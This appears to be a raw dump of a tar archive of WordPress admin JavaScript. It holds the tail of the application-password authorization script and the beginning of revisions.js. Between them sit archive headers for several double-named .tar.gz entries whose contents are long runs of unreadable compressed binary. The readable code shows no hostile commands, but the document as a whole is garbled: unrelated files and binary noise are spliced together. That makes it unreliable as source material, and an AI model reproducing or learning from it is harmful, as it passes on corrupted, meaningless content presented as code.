			 * @param {string} textStatus        The status of the request.
			 * @param {jqXHR}  jqXHR             The underlying jqXHR object that made the request.
			 */
			wp.hooks.doAction( 'wp_application_passwords_approve_app_request_success', response, textStatus, jqXHR );

			var raw = authApp.success,
				url, message, $notice;

			if ( raw ) {
				url = raw + ( -1 === raw.indexOf( '?' ) ? '?' : '&' ) +
					'site_url=' + encodeURIComponent( authApp.site_url ) +
					'&user_login=' + encodeURIComponent( authApp.user_login ) +
					'&password=' + encodeURIComponent( response.password );

				window.location = url;
			} else {
				message = wp.i18n.sprintf(
					/* translators: %s: Application name. */
					'<label for="new-application-password-value">' + wp.i18n.__( 'Your new password for %s is:' ) + '</label>',
					'<strong></strong>'
				) + ' <input id="new-application-password-value" type="text" class="code" readonly="readonly" value="" />';
				$notice = $( '<div></div>' )
					.attr( 'role', 'alert' )
					.attr( 'tabindex', -1 )
					.addClass( 'notice notice-success notice-alt' )
					.append( $( '<p></p>' ).addClass( 'application-password-display' ).html( message ) )
					.append( '<p>' + wp.i18n.__( 'Be sure to save this in a safe location. You will not be able to retrieve it.' ) + '</p>' );

				// We're using .text() to write the variables to avoid any chance of XSS.
				$( 'strong', $notice ).text( response.name );
				$( 'input', $notice ).val( response.password );

				$form.replaceWith( $notice );
				$notice.trigger( 'focus' );
			}
		} ).fail( function( jqXHR, textStatus, errorThrown ) {
			var errorMessage = errorThrown,
				error = null;

			if ( jqXHR.responseJSON ) {
				error = jqXHR.responseJSON;

				if ( error.message ) {
					errorMessage = error.message;
				}
			}

			var $notice = $( '<div></div>' )
				.attr( 'role', 'alert' )
				.addClass( 'notice notice-error' )
				.append( $( '<p></p>' ).text( errorMessage ) );

			$( 'h1' ).after( $notice );

			$approveBtn.removeProp( 'aria-disabled', false ).removeClass( 'disabled' );

			/**
			 * Fires when an Authorize Application Password request encountered an error when trying to approve the request.
			 *
			 * @since 5.6.0
			 * @since 5.6.1 Corrected action name and signature.
			 *
			 * @param {Object|null} error       The error from the REST API. May be null if the server did not send proper JSON.
			 * @param {string}      textStatus  The status of the request.
			 * @param {string}      errorThrown The error message associated with the response status code.
			 * @param {jqXHR}       jqXHR       The underlying jqXHR object that made the request.
			 */
			wp.hooks.doAction( 'wp_application_passwords_approve_app_request_error', error, textStatus, errorThrown, jqXHR );
		} );
	} );

	$rejectBtn.on( 'click', function( e ) {
		e.preventDefault();

		/**
		 * Fires when an Authorize Application Password request has been rejected by the user.
		 *
		 * @since 5.6.0
		 *
		 * @param {Object} context            Context about the Application Password request.
		 * @param {string} context.userLogin  The user's login username.
		 * @param {string} context.successUrl The URL the user will be redirected to after approving the request.
		 * @param {string} context.rejectUrl  The URL the user will be redirected to after rejecting the request.
		 */
		wp.hooks.doAction( 'wp_application_passwords_reject_app', context );

		// @todo: Make a better way to do this so it feels like less of a semi-open redirect.
		window.location = authApp.reject;
	} );

	$form.on( 'submit', function( e ) {
		e.preventDefault();
	} );
}( jQuery, authApp ) );
postbox.js.js.tar.gz000064400000011773150276633110010434 0ustar00��\�G�߯���K�����1�e�^q��!J�������,�~�Y�~h4��#�@��ꪬ�|��Y�1Nx��HƋ\%/�*a�H7�]6��&JƟ�q��<�|*�r��>�>l�L>|�໿�?�<x|q~q��Ͽ�L.����S��s��߱��3����g�Ҥ�QR�r-��hQ�8]E�!K3�DɊ�$d�8-�fҐ�"�C����qU\�[
7�ʔ����s^����º���	}��?�$�}��J�W4�VeV��].a��d|���t�c�?�/U���Je�&�{g��Io�sv/L�F$%�d��|;��z��� :�>	f�'''=�[z��
��?�E���<���O���ǂ=k`O��tix͈��r�3��W��UZ�Bڔ�iŇ�'҉�WF%�
�
i�a�w�V3��(2�pn�>,�2����S�qh|��EI����K`��o�L��AD��g�HD@S��[���0J�EK��Вr�W��ؓЀ��%���{������'� "d"x�rM�.����y�Nw,Z�d��J$D��l�xm�B.�.�gQw�0x�wa�7b39��s�钔�<���7*��*�;5e�'��6��=�������L�hH�{RD,E9)ž��pHād}9`}-}=%
aN���q�<�8\l-�_x\	T��d0/��z��<���tW�|��U�]^^2XP�Փ�y�����Y �,'�HÖ4��#Pvh�iy��t�Hf��fJ�c�N���,�};�h%d�•#���P��I��y�	B߶�V��mZo$X���/pOB/�nL��#�`^���~rY�P`��Sv�1#��x���s��sk����7�04M��h�E��k������V���<����N��VU�'R����2?�I`�]㵹r����M��m9���c�:�,M�,�P�J�\���VإZ
Q���V�g|lP��j%PkK�,f�]�a�w!E(��ۤ[��l�)QZY���G)�4���X#��H��M3��{�f���2�ʍ5����;��(y�怕b�%g��(��X�y�1�L�Q��k�xࢴ5��HV��[�6��/���p�1�"ptE�*�O^��e"�_���q����t!`c_,��І�]��$ش��KR�X!Z�pP�*D��$
�F!�i��NԐ*R˼�2%��
���~��V��jD�z��V��p��-��`�[� YT��և�Ӄ�=���<��ϯ�"���\����x�
l�^�Y�}Z�G�XjČ�˃�H�`���P�@�*_��*�i�uIW�Z��	8&�o�܁��w�?iO�z�C��g.������4��U<�D�ς�X��Vܵ�x	���H�9A�A��N 
���R^Fp��l�tA}~��т}�q����If���D|);o��}��]��0�7�
��v�o^/|Y:�����G�p�B�$�O0�o�(o��o�ע���ޘ2�ڧZO�
�"Ok{�2
�h0�h~��1�v�M�P�yY��-+�9fe=dy.�p^�t�� �!6�т"�C�n��8��4�Oa�A��C}UO����b-�ג�'ڴ�]��qE�ܗ�u*�@��I@���y����#5Ȫ�`�L���!����A.��lc��D0�oM�L��)��q
�<&{@h�I�`I��&��AH�S��I�trjQ�9"~�cW���H����B���i��A��=r����t��ļ.<�O���p(��q�����H��ጓֶ^�MLֈ��� nߦ��>�	�|�Y�;#��͐X��l
��`�o�Z�<����St����Ѝ���	�Ak�XO�x����<5�OVܻ�]@x�d�"AN�^c_��J�-Ds���h�&�Z@�!��~�j��D�;�q:w���}�x����8����b]�dJp4�c��s���^��ט�i{�k��B�PJސ1��ڃ�! ?B��\��Ga(
k�&˪s�[K��;�S��S�]n�L֜�^UI�Q�b3'jo��w�oX]�/=�qr���̬s�{�q�o�1/��/!��	?��l8ŽN�<{��9�ȳ.6��.�"�%�?#E}��aT�{�8`��v�p���Gl���! �f�����nQJJ�Ҍp�:��kּ�*[v��M��*��v��d��{���������3|�s�O��6��)��@j��8fŋ�%I��^R�w�f;}���3��.�j2fHۻu���\�.����p�5�!�K��\��\��Z��(s]�m>1�Q����o�S�)|��`�kz�+3ZK���~1n�[¿��Y�؆P��ŔSj�nJ�:��9���	��"(�4C��W\B=?�3��VXq��+?��̖��7X�MT:dfO1=#3~�@�澻���&݃������t�y%ejT�*@49*��$�e	_�ֈ.����A]Y,�i�:'�Ȏ۵�aL/�j�,���G�S�K�+����b��_�?Q׈1��\,y�:KuOJz���lЇ�
�3Hb�3��������T�����:+�D*�DD��5��t�]�1G$dai��mA�}�kv�x}O�Q(9oK�<$�h�i4{:��2���=~ϖ���+��J��Ā9p2�f����:)Ko޴6�R�6��s��"`����u��U��[����¾S��J �C�m�f9&\��5e,u�����.}����
��s�4�6�uؕZPy�V%և���]����F�,X�$��x��9����z`� !G��ER������'�x'm�Y6�a�4H��wdl���k�6@�����$	�zC��z�r�<ԍq,�z�u��^�/$vE�G�u��F�r��D�xn���ߨx�ΣX�]��<
���:��
M��W���WBeP�u��+����^�+*]K��,�����/�:��	�����$q�&	
���Y!� W�M1u:A�<�ՋV9�?E~l�X(�M�IJ3��`2�O4�[�Te�ȁ2P!G�<FIi��]��4o@p��RE��3��E��C�a���g�l�JD�#�v���~Tң�h"x��r��0B�L�[F&����7J
̹�d�VUpSpQ�c��\N���l M�����ܥ�:	bjE�Y`V}'�
����:�D��F�}e��b��MT`wbhݩ<�z(�|�{�|��E�J��,I�a�,c�|8�pH,�Y���!
��Shl���bЙ�)���ڬ�׃��P�BVX�av"%�!3.����:�
������F��!�> �Oo:[<���
u�$�!�[D%��$x�H�K��ʹ���bQ����b�|�]�P���6�|K@ɲ��05�HB{��F�l��Y���8�պd��ݭQ���l�柋�Rّ�6&��sI�nѱ��5Ҭ�--�
Ux���rP+�m%Uw;Z�΂�sJ���j�s)���|��T����h%㾾5��BC�v?��'�>�s��V8��*2�^��ƪ(@yy?�@�ӧ�86������
�W/��T{
W�7���x+�E���ķ`�`��+��]X��hUN��^Q@w�=:17(�5�PQ���'��c`�8�-�(�ьM�]�I��Q�^�y�>z���D��lKM���S.ͼ�j}
�5�6ʮU����N�Z�Ь@��[��_����6l�1�(�Y� G��ѽSC�6��7$�O��ɬ��)�}B�vn��:���Cu�z��q��TQ�3���ύ�݋G���v3U�&PD��Y�8��wٛSZ?0lx�7�0ul��A�a���Y�	0-�=��K]Ձ����v��d����O���9�5��=r���4<շ!�64U7��3o')Ax�6��m{�?s�\xS��#��=߭]oH��i���R[1��[v�VK��~*$�ЭBH�/M���Lg�P�Z9S�7T7�q������s���F�(����͔�nw�Y��$N=�[D	uWp�������������F�3N���7qi�Rc*f]��5��S���b[u���9�Y/=�b�E�
k��n/�(�����؄��b6U
����K�o����w��T����~�����r/{C�i	��\�XT�'*��*%3���!��"G_�j>m���Bi1�+����h��x�nWQ�X{ϕ.�K�F۶�g�7+j�Q�=/�����VCF5�������C��q�Km��/)#e�N]���K[�ps��#���D��M�h
�u��J/����ϛ�8i�?|$��9�A�-c�6��Z�)�mb�|+����f���v�J�Xb�I'])�s-67�E�I��n*����z��kT�f�4���q7;ޭ�X[���.�7N��wݕ�^�᭹�e�N
���pIAJ��C���'Ӭ<�2O7Ġ7�b�R�Z���[*��������G{'z>��4��N�U�,��YoUǿ�0�"pA]�]�n�����Z��t�*����F-���F&
Z�3�p�=�?i<3��@� �aȩkm�7K�Vq�d�RT�AF$W�`�iU��.�����
�����ƪ�~;B���"xK����_'��>�?�@,[+����q���;���ڋ�[��(�1��\�b�����a���{!�Ɋu@(
X�����
kF�jmӊ]T.� ��o��������L헑��l"Ѡ��5@��Is�l��hD2'�������{oCr�Ģ���6T���`}�!�V�wѿ�����]�U^�gl�md��U�8Zx6N&�l1�WnX�>9��,?�rF� 8,�(�����Û�3��5ssF�/�\sF"B����@��3���B��������J�Z�Pgallery.min.js.min.js.tar.gz000064400000002750150276633110011734 0ustar00��W_o�6��>���Ӳ��-�+�6���C7�!MF��leR�(g���;J�[n�=t�°%��w��艙B_K��ݏ2ȭ��"�8�̴��d<U��9�e�@6�5��?��k����I�>���O�>>?>99y~����O����=d��U��������t�6Q�w���W��Ơ!�b���_�S��*�},f2�8r�v��>{<�Xɞ�0�Y�&��:�vF,V�pC�x��&&�!1��@�BƸ�S!���Xa�t�c>�:N�!u���5騡��+�0k^e����+!���T� ����n��R�`4��)a���2m�ŕ�PmO鴰�?���*X�[ѦQ��bC�Z(U�(P���x��jB����r9��r����!��t���l�H��Z�B �}a���0�`ھ�Y$���
|X�����?h�G	��^������u/vLJ�һ.�5:��TjO"�5�1�#�!��k��=��d��77�si�	ҕ۔��eɤ��0U��\K�l$��w5h��=�xa�A2\�>|�U�?!iY���6]ϟ1�?�^%g���=��{9X��8�h>3*�������N�~%:ng��&�*h=U���c@�/��.��&J�ͦ�
}�H?�s@�WG�Jd��ұ�u�F����j,��$���:MF��͔~T~U�1�iw�����	�"�^l�[�%ם%@�?��c�"���i��r�5�!��S;�T�fmv��1��g�[�HL$	+̱h�Ifຼ���e�3�A���Xǵ?�CNՋ��n7�.��R�E�1�d
��\���>�N-�u��o�Ҙ3�F厸s��d��<�,�����(�25�I-ǐ�I��4,Rla+^����*.�$�Č_ec�n�\����r��7�K�p+��D����Ґ��7Qro@a�!�O}o\���woiI�q�=�����‰�_'x%t�ݦoש�p|%J��,�&")�Wi32!
���CY�>�l�����}�`��{H�F��@,X��ٰ��5k7{�i�i�L�o�꼜�8�2�b��-]��_�r�U���]{[ȩ)�v�"���s,�Փ�x�"��
���e��:���7#T8�o��)��]��ޏ�݀����7TÊ�~W$�j��q>i%R[D��V2��V����������t:�A��
����t�6l#�t��[!�^Q��ۣ+p�+���a/�U��8������i�(hTM	��f"ح��f���1?�QK���ò�3�
�XQ�窋Z ~��9����E�LN�gMh��2�o4M}+���c�-�.�dM�t|e�U�-���
�v����atk՝aO:�'mWz.��;;����ѨQt�iM�5TY��ه��X���zB��\\C�k�vw������]z��6�%X)x+��؀UZ
�"�'��%G�v�:���?�����x��8�media-gallery.min.js.min.js.tar.gz000064400000000753150276633110013012 0ustar00��R�n�0��"�$���	�R���&�
!t�/�!�#ہu��C;�I<t���!'QN|�>���X��N��3�ց��A�3]�:QIol\���P�h�'��^���d<��{�F�W���v2�����o���$H^��/�7��C��o�����Z��74NG9*4�P��͗�/���9���)Yi�@��$+e��>*�� �,��L���LS����*^��T��Q�+-��@h�@�^*�����G�7*g�V��`m[��D�:]3^�:1^\��,a!����|�54�����W�ms�%�:�� +�"��o2��n�\A�����F�sYA����qAiV`�E1d|%e��Ȼ�VZeH�����m^k�(l�[c��'7S���I��/�K)R.���u��n��/;yZ	�~��_�ji��;���g�
�eNj6�3���ѣG���ٓ�
image-edit.min.js.min.js.tar.gz000064400000011146150276633110012301 0ustar00��;k�۸���_��)Ck�I6��V�E���6��	p?A��h�Yt)zlw��sH=�������Xc0�I�<<�Wb�ns���Y~�HV(Z[�� ���fL�5�o*n��.٘�\0�T�	�^�x18>�<���o~~=�{>9y�
��M&߼t&O=�׼�pa	G�_��o��}v�[��Y�9�N�J��,g�*�:�n����"���J'�w���ȃ�I�x��]���;��ӂnx�x"+������i���g��*$J,�{-��YT�'�D� �q�_��H�Ϗ��<Vy`N�L�e3���,(��"+<�wA���q�Jn�l��*%=�JN�l��y�Rן�5Q��?����',�$YP0�'^����Y�����8���O&�yO\����7�ȫj���h����фЁ�w8�w�X6��T���1� ��S���,��r�r�.��[Qm�g=���
}��>�G#C.�3�XC(E�a��!�(��E��"I4�����e�:��I���t�?��걻��Eao1!�AJ�:W?:�<#F:`�,�a�+
�X	�ɩ�b�IA�� �����x�'�,H20	���+�akw�_����&;h	!�a'��/�rGoMW6���å�eZ�Q�J���LY��%S[�;��:	-d��|���⁽F�{nZ�s�`�'4�*�h�>a�D�Us\�`�fq�-
�/��Q���gcq�JQ�AI.:؋�՞Wq�F#d,_��h����y͙*@�����Ŵ\Ճ�XT���G�X\��+�?��7T�2AU2=ٺBuz�ZT�h���Z�ި���0��zp�~b�SE��߼��rbA0�{	jC�OR����Ql�Ƃ�s��}}vxmf���]�|�U��a�bW��r?\�x�Hٔ/��/gh7{
/��J�咁
�϶�p=�_r=��6�՟؂n3Tm*(���J��TW�;�v
�
�-��r M��gXY���B�{��^��b����FULQ�4e��YZ(�
~تr�A(C�sa}�a0�X?��v
�82J��nHRz-��t�����K����z
P��
��a�
�c�a9h�"�){��Vh
x����?�w�;�5����΀���'�S�J	�{�e,��R���@�"G�v�g����?�L��Ҳ+R(0u�*��bȟ�>�t�ݚ&����5�50Us���]��h]�T����@�jR�9�,r�@e��j�xx-�L���Ob:Ў�u�86��J��qtM�8�!~ja�9|��l���8�g�*���c/�G�j��.s���G�Н�-�y���F��0+�j��B��aT<�҆�y�<�
Z޷6v�o��5��ᰢ��~�5Ҩ/j�3��5����3�cxAOy�H+,�-�HA��톮���f&��+�g?{�*�;C�ҕA�eP�~q4����s80��h��f��宅���jy,􁍕^9n�#zsnPZZ�����W��]�(��(Y��K�K��xt�,�{Q�>jBr�'��ې�r�Kz��Љz�J�XCt��ÿ|`]���W!����;pjހ��czT8s��BMj"ʿQ�
�8��r�V?�r }�R=]`�.���G9����	Z���W�*�:�h$�Oڤ���<�
��%CFɇ�zo�OS�C�>~&���u���v��o��M��w�u�
������5S�~Wszy�"0�l��a�.x� X��T�C'���	�[�2�����@��E�����8$�~�Û@�@G2�y��u�Aϙ}�_�G1���ԗZl�N�Ǹ3�z�J��[;�
�c�7�E{bEPO��'�W�����J���xդC�j��4X���K�;�lIa�-~���3	����,`&~L��}$�$ؓ�~?��~ߑ�~_�N���@�H���Z�@��3�0���54U
����/ �'"�"�U��H�H��⍧<�X"�>R�D��i�it�G��ԱZ��D� %+E�s-F4�I�0S�I�^>3j��Zg^0�y=���7�vr�F��vh�@�8���M(,�cu0ĸ���3a�4�F�ǖ�{���
@a�j���۳��^5�5���u�;eB�UgvZ�=O�jft>O
4i�����Sɿ��׳	�veNMY�5�z�$�4̭�B���~F�9Xë�t'�oT�(\��I%hae3��݄b{���{������b8��%�2;}�TpL20
�5b]ɀ��M@��F?y����յ�r2|ɤ�%�^�m�:�P2/�7�L�h&�3F�H�,@�@P%]Bt�M��%׳�?8:]�p*O�c��HG�{���8t�	�C�B*��l�
�#wv�y5���^iﮋ��6VT+�s,dN(���nܹ{��p�5H)(�R��X㠪�e�2��"��`:Jkq�LKs59�3j�����(�W���%G�Ƒ��啚���/�1Q��YXY9:��]�f�8�F��zi����j�K��M	;�P,�>.N�wD��5O!*E�ݢ�;�mF���/�J�l=<�Q�=��ԬZg�u�0���d6����y�i�e�V�����غX�;��[�G��ČF�kt�����U�F{u��y�҇l�M��F���1jQ��S�grm�)1�P�Ɔl��6���0Dqeluvޔ��^�TD."�Ӌ�QbQco��"�\3p�ŗPj�q����w��i�3&�����O+̅�_�p:N������߸�Hq����Ob�CT��>�<�{5_є�_@���lniV�ޯ^Xo,
�/Gl�ML�?�p^��b�\n�x^��1�."������^Ct\��@?�����Զ!M�=֭��	�6��"�ƚ�TcN���Z$X^���W&2��a2�:��Ar
�ŋ&Ǒ(�#BT�a�ʈK7��d�%Mg�N�A��ނ:��҂��iHuj�y�����X>Ņ�t�T�梊�k��cF#ڒ1c<ą�mW8�)�s�D�+�}ܒ����*�=�y8��V����z>�Ph���੃�&��N>���p����o�Y�R��&�(0�F�I�(�ە��k���Uݽe��1��Y�+�s/U fG����õ�i�*F�kkV;I7u�5��@ �u�R�V�	�x���₩##��)�s.ƀtwT%��v���=��	��hS�FZ�2�F"t��[�XCK�?�5]	X��'�G��߀�%���I�Q��O���<�Ԏ��GCb�,��[�u�$��x�H�Z��$���"�b�H��6��j��@xԻ��$Y�,�=��Ŷ`����Qb��4r�� >ڵ-V|�t��F��3V�У(}�O����r�r�$�JP)
4�P0��2�Gv2�.7�E�mY�u��%��!.ՍROo�zbJh�]�m��
�bޠ���y��@˨N����.A�嶠0���Tg�Y*o*�O��Yjn�s�E��3cH�����>��ig����~������n78`C��8��`̞c߇9w�����D��Ԇ��zt�K���"�Ə��A0�x�.*1I�
�N�Xx"?G'يީ����m�����:g��N$W*��S���������w4Ӣ�_�zzp�z�:��;�3]/e0����g*x�n�K|ne_���0�e�I�Y�Pu�)�u�	P�@��^�@a"*M�*��U��`Bm�ř�pS��*d�E��\�c�k�1���EU���j���S33At�-V�̉!�z
Z����/f���T�[�MV�P�޴�t�G����;5Mz�hz��ꡒ.ޣ��O��.�+q���uw:�����wI�AYD��e�eU�������Ω2ACl?�]�,xi�@�Q#�
#�x즟&3���
n�n4�� ��7����H�ł`�Ӎ-�%=iW����r�����|���,c��ބSz������Ȫ~E�RqY��i �h��
�%���^E��Uq�����M���À���IŖ��Cq�Q���R�C(��Dڭ��������o��~d�Û��h0s^B�?hh�F�`aIE7,�ġ�oİZ�M��f�p���!�\F�uiV�u�r��b���[��;�›|�,���oҏr��!̜x^1��#�1�[g�e�X�����:`�g+�6:��p��"�t��_d7��<���?�5/q>�L��'�k�G߮|@n6�Mo!���-76$fղ��	�_�ǫC�M��7�z��[ ����A�*ru��Ô�o����y���jF�u3�\݄�����e���?�I缵=ӤS�R��k~�^�����bsXQ9��Dս�'L��8�U��P^��`?�]S)ae8����>t��[�a;.0l�`���z���}�XZ��=R�J�
G,�HY�~�ul'��T�y4p���A@�*f��5	ѪZ0|~���e�?�1X�J���V���K 1����%��s'��J�D�ٟ4u��%�ZoVlYs{ӰU���b�����wl����?�����o�/������@revisions.js000064400000102200150276633110007122 0ustar00/**
 * @file Revisions interface functions, Backbone classes and
 * the revisions.php document.ready bootstrap.
 *
 * @output wp-admin/js/revisions.js
 */

/* global isRtl */

window.wp = window.wp || {};

(function($) {
	var revisions;
	/**
	 * Expose the module in window.wp.revisions.
	 */
	revisions = wp.revisions = { model: {}, view: {}, controller: {} };

	// Link post revisions data served from the back end.
	revisions.settings = window._wpRevisionsSettings || {};

	// For debugging.
	revisions.debug = false;

	/**
	 * wp.revisions.log
	 *
	 * A debugging utility for revisions. Works only when a
	 * debug flag is on and the browser supports it.
	 */
	revisions.log = function() {
		if ( window.console && revisions.debug ) {
			window.console.log.apply( window.console, arguments );
		}
	};

	// Handy functions to help with positioning.
	$.fn.allOffsets = function() {
		var offset = this.offset() || {top: 0, left: 0}, win = $(window);
		return _.extend( offset, {
			right:  win.width()  - offset.left - this.outerWidth(),
			bottom: win.height() - offset.top  - this.outerHeight()
		});
	};

	$.fn.allPositions = function() {
		var position = this.position() || {top: 0, left: 0}, parent = this.parent();
		return _.extend( position, {
			right:  parent.outerWidth()  - position.left - this.outerWidth(),
			bottom: parent.outerHeight() - position.top  - this.outerHeight()
		});
	};

	/**
	 * ========================================================================
	 * MODELS
	 * ========================================================================
	 */
	revisions.model.Slider = Backbone.Model.extend({
		defaults: {
			value: null,
			values: null,
			min: 0,
			max: 1,
			step: 1,
			range: false,
			compareTwoMode: false
		},

		initialize: function( options ) {
			this.frame = options.frame;
			this.revisions = options.revisions;

			// Listen for changes to the revisions or mode from outside.
			this.listenTo( this.frame, 'update:revisions', this.receiveRevisions );
			this.listenTo( this.frame, 'change:compareTwoMode', this.updateMode );

			// Listen for internal changes.
			this.on( 'change:from', this.handleLocalChanges );
			this.on( 'change:to', this.handleLocalChanges );
			this.on( 'change:compareTwoMode', this.updateSliderSettings );
			this.on( 'update:revisions', this.updateSliderSettings );

			// Listen for changes to the hovered revision.
			this.on( 'change:hoveredRevision', this.hoverRevision );

			this.set({
				max:   this.revisions.length - 1,
				compareTwoMode: this.frame.get('compareTwoMode'),
				from: this.frame.get('from'),
				to: this.frame.get('to')
			});
			this.updateSliderSettings();
		},

		getSliderValue: function( a, b ) {
			return isRtl ? this.revisions.length - this.revisions.indexOf( this.get(a) ) - 1 : this.revisions.indexOf( this.get(b) );
		},

		updateSliderSettings: function() {
			if ( this.get('compareTwoMode') ) {
				this.set({
					values: [
						this.getSliderValue( 'to', 'from' ),
						this.getSliderValue( 'from', 'to' )
					],
					value: null,
					range: true // Ensures handles cannot cross.
				});
			} else {
				this.set({
					value: this.getSliderValue( 'to', 'to' ),
					values: null,
					range: false
				});
			}
			this.trigger( 'update:slider' );
		},

		// Called when a revision is hovered.
		hoverRevision: function( model, value ) {
			this.trigger( 'hovered:revision', value );
		},

		// Called when `compareTwoMode` changes.
		updateMode: function( model, value ) {
			this.set({ compareTwoMode: value });
		},

		// Called when `from` or `to` changes in the local model.
		handleLocalChanges: function() {
			this.frame.set({
				from: this.get('from'),
				to: this.get('to')
			});
		},

		// Receives revisions changes from outside the model.
		receiveRevisions: function( from, to ) {
			// Bail if nothing changed.
			if ( this.get('from') === from && this.get('to') === to ) {
				return;
			}

			this.set({ from: from, to: to }, { silent: true });
			this.trigger( 'update:revisions', from, to );
		}

	});

	revisions.model.Tooltip = Backbone.Model.extend({
		defaults: {
			revision: null,
			offset: {},
			hovering: false, // Whether the mouse is hovering.
			scrubbing: false // Whether the mouse is scrubbing.
		},

		initialize: function( options ) {
			this.frame = options.frame;
			this.revisions = options.revisions;
			this.slider = options.slider;

			this.listenTo( this.slider, 'hovered:revision', this.updateRevision );
			this.listenTo( this.slider, 'change:hovering', this.setHovering );
			this.listenTo( this.slider, 'change:scrubbing', this.setScrubbing );
		},


		updateRevision: function( revision ) {
			this.set({ revision: revision });
		},

		setHovering: function( model, value ) {
			this.set({ hovering: value });
		},

		setScrubbing: function( model, value ) {
			this.set({ scrubbing: value });
		}
	});

	revisions.model.Revision = Backbone.Model.extend({});

	/**
	 * wp.revisions.model.Revisions
	 *
	 * A collection of post revisions.
	 */
	revisions.model.Revisions = Backbone.Collection.extend({
		model: revisions.model.Revision,

		initialize: function() {
			_.bindAll( this, 'next', 'prev' );
		},

		next: function( revision ) {
			var index = this.indexOf( revision );

			if ( index !== -1 && index !== this.length - 1 ) {
				return this.at( index + 1 );
			}
		},

		prev: function( revision ) {
			var index = this.indexOf( revision );

			if ( index !== -1 && index !== 0 ) {
				return this.at( index - 1 );
			}
		}
	});

	revisions.model.Field = Backbone.Model.extend({});

	revisions.model.Fields = Backbone.Collection.extend({
		model: revisions.model.Field
	});

	revisions.model.Diff = Backbone.Model.extend({
		initialize: function() {
			var fields = this.get('fields');
			this.unset('fields');

			this.fields = new revisions.model.Fields( fields );
		}
	});

	revisions.model.Diffs = Backbone.Collection.extend({
		initialize: function( models, options ) {
			_.bindAll( this, 'getClosestUnloaded' );
			this.loadAll = _.once( this._loadAll );
			this.revisions = options.revisions;
			this.postId = options.postId;
			this.requests  = {};
		},

		model: revisions.model.Diff,

		ensure: function( id, context ) {
			var diff     = this.get( id ),
				request  = this.requests[ id ],
				deferred = $.Deferred(),
				ids      = {},
				from     = id.split(':')[0],
				to       = id.split(':')[1];
			ids[id] = true;

			wp.revisions.log( 'ensure', id );

			this.trigger( 'ensure', ids, from, to, deferred.promise() );

			if ( diff ) {
				deferred.resolveWith( context, [ diff ] );
			} else {
				this.trigger( 'ensure:load', ids, from, to, deferred.promise() );
				_.each( ids, _.bind( function( id ) {
					// Remove anything that has an ongoing request.
					if ( this.requests[ id ] ) {
						delete ids[ id ];
					}
					// Remove anything we already have.
					if ( this.get( id ) ) {
						delete ids[ id ];
					}
				}, this ) );
				if ( ! request ) {
					// Always include the ID that started this ensure.
					ids[ id ] = true;
					request   = this.load( _.keys( ids ) );
				}

				request.done( _.bind( function() {
					deferred.resolveWith( context, [ this.get( id ) ] );
				}, this ) ).fail( _.bind( function() {
					deferred.reject();
				}) );
			}

			return deferred.promise();
		},

		// Returns an array of proximal diffs.
		getClosestUnloaded: function( ids, centerId ) {
			var self = this;
			return _.chain([0].concat( ids )).initial().zip( ids ).sortBy( function( pair ) {
				return Math.abs( centerId - pair[1] );
			}).map( function( pair ) {
				return pair.join(':');
			}).filter( function( diffId ) {
				return _.isUndefined( self.get( diffId ) ) && ! self.requests[ diffId ];
			}).value();
		},

		_loadAll: function( allRevisionIds, centerId, num ) {
			var self = this, deferred = $.Deferred(),
				diffs = _.first( this.getClosestUnloaded( allRevisionIds, centerId ), num );
			if ( _.size( diffs ) > 0 ) {
				this.load( diffs ).done( function() {
					self._loadAll( allRevisionIds, centerId, num ).done( function() {
						deferred.resolve();
					});
				}).fail( function() {
					if ( 1 === num ) { // Already tried 1. This just isn't working. Give up.
						deferred.reject();
					} else { // Request fewer diffs this time.
						self._loadAll( allRevisionIds, centerId, Math.ceil( num / 2 ) ).done( function() {
							deferred.resolve();
						});
					}
				});
			} else {
				deferred.resolve();
			}
			return deferred;
		},

		load: function( comparisons ) {
			wp.revisions.log( 'load', comparisons );
			// Our collection should only ever grow, never shrink, so `remove: false`.
			return this.fetch({ data: { compare: comparisons }, remove: false }).done( function() {
				wp.revisions.log( 'load:complete', comparisons );
			});
		},

		sync: function( method, model, options ) {
			if ( 'read' === method ) {
				options = options || {};
				options.context = this;
				options.data = _.extend( options.data || {}, {
					action: 'get-revision-diffs',
					post_id: this.postId
				});

				var deferred = wp.ajax.send( options ),
					requests = this.requests;

				// Record that we're requesting each diff.
				if ( options.data.compare ) {
					_.each( options.data.compare, function( id ) {
						requests[ id ] = deferred;
					});
				}

				// When the request completes, clear the stored request.
				deferred.always( function() {
					if ( options.data.compare ) {
						_.each( options.data.compare, function( id ) {
							delete requests[ id ];
						});
					}
				});

				return deferred;

			// Otherwise, fall back to `Backbone.sync()`.
			} else {
				return Backbone.Model.prototype.sync.apply( this, arguments );
			}
		}
	});


	/**
	 * wp.revisions.model.FrameState
	 *
	 * The frame state.
	 *
	 * @see wp.revisions.view.Frame
	 *
	 * @param {object}                    attributes        Model attributes - none are required.
	 * @param {object}                    options           Options for the model.
	 * @param {revisions.model.Revisions} options.revisions A collection of revisions.
	 */
	revisions.model.FrameState = Backbone.Model.extend({
		defaults: {
			loading: false,
			error: false,
			compareTwoMode: false
		},

		initialize: function( attributes, options ) {
			var state = this.get( 'initialDiffState' );
			_.bindAll( this, 'receiveDiff' );
			this._debouncedEnsureDiff = _.debounce( this._ensureDiff, 200 );

			this.revisions = options.revisions;

			this.diffs = new revisions.model.Diffs( [], {
				revisions: this.revisions,
				postId: this.get( 'postId' )
			} );

			// Set the initial diffs collection.
			this.diffs.set( this.get( 'diffData' ) );

			// Set up internal listeners.
			this.listenTo( this, 'change:from', this.changeRevisionHandler );
			this.listenTo( this, 'change:to', this.changeRevisionHandler );
			this.listenTo( this, 'change:compareTwoMode', this.changeMode );
			this.listenTo( this, 'update:revisions', this.updatedRevisions );
			this.listenTo( this.diffs, 'ensure:load', this.updateLoadingStatus );
			this.listenTo( this, 'update:diff', this.updateLoadingStatus );

			// Set the initial revisions, baseUrl, and mode as provided through attributes.

			this.set( {
				to : this.revisions.get( state.to ),
				from : this.revisions.get( state.from ),
				compareTwoMode : state.compareTwoMode
			} );

			// Start the router if browser supports History API.
			if ( window.history && window.history.pushState ) {
				this.router = new revisions.Router({ model: this });
				if ( Backbone.History.started ) {
					Backbone.history.stop();
				}
				Backbone.history.start({ pushState: true });
			}
		},

		updateLoadingStatus: function() {
			this.set( 'error', false );
			this.set( 'loading', ! this.diff() );
		},

		changeMode: function( model, value ) {
			var toIndex = this.revisions.indexOf( this.get( 'to' ) );

			// If we were on the first revision before switching to two-handled mode,
			// bump the 'to' position over one.
			if ( value && 0 === toIndex ) {
				this.set({
					from: this.revisions.at( toIndex ),
					to:   this.revisions.at( toIndex + 1 )
				});
			}

